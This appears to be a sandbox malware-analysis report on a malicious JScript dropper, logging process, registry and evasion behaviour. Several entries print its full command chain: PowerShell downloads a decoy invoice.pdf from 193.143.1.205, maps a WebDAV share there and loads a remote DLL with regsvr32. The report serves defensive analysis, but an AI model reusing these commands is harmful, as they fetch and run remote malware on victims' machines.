Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5644.js.csv");ITextStream.WriteLine(" entry:8448 f:wkmnshj");ITextStream.WriteLine(" exec:2 f:wkmnshj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4045			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5835			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1564	Thread sleep count: 4045 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1564	Thread sleep count: 5835 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4152	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5312	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4916	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2708	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2740517320.000002510E22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.1520003119.000001CD1193A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1519456407.000001CD1193A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1519715719.000001CD118D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1519312073.000001CD1193A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2742230218.0000025113854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

